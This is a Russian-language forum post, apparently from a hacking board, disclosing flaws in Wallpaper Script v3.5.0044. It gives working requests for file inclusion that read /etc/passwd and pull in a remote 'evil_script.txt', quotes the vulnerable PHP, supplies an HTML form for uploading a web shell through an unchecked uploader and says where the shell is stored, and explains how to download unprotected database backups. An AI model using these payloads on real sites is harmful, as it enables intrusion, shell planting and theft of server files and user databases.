PDA

Просмотр полной версии : Wallpaper Script v3.5.0044


BlackSun
24.03.2009, 04:14
Wallpaper Script
Версия: v3.5.0044
Оффсайт: http://wallpaperscript.com/
Скачать: http://www.nakido.com/E17B58411BA3FC6456F179825967F1B84174FDF1

Удаленный инсклуд \ Локальный инсклуд (только .php файлов) \ Файловое чтение
Уязвимый скрипт: implode.php
Запрос:
http://localhost/wps//implode.php?files=/etc/passwd
http://localhost/wps//implode.php?files=http://google.com/evil_script.txt?some_param=&.php
Уязвимый кусок кода:

<?php
$GLOBALS['NO_TIMESTAMP'] = true;
include "config.php";
..................
$arr_files = explode(",", $_REQUEST["files"]);

for ($i=0;$i<count($arr_files);$i++)
{
$ext = explode(".", $arr_files[$i]);

if ($ext[count($ext)-1]=="php")
{
include $arr_files[$i];
}
else
{
$file = file_get_contents($arr_files[$i]);
echo $file.";";
}
}
?>


Заливка шелла с помошью корявого аплоадера

<?php
include "config.php";
if ($_SESSION["user_id"]!="")
{

}
else
{
echo $LANG->l('You dont have rights to make uploads');
exit(0);
}

if (!isset($_FILES["Filedata"]) || !is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] != 0) {
echo $LANG->l('There was a problem with the upload');
exit(0);
} else {


if (move_uploaded_file($_FILES["Filedata"]["tmp_name"], LOCAL_PATH."temp_upload/".$_SESSION["user_id"]."_".$_FILES["Filedata"]["name"]) )
{
echo $_SESSION["user_id"]."_".$_FILES["Filedata"]["name"];
}
else
{
echo $LANG->l('Error uploading the file.');
}


}
?>

Скрипт не делает никаких проверок и залить шелл можно с помошью этой не хитрой формы -

<form action="temp_upload_wallpaper.php" method="post" enctype="multipart/form-data">
<input name="Filedata" type="file" /><input type="submit">
</form>

Шелл будет в /temp_upload/{твой айди}_{имя файла}

Так же каталог db_backup не закрыт хатачем, при наличии бэкапов БД - их можно слить (имеют вид DB_NAME ."-" . date("Y-m-d-H-i-s") . '.sql')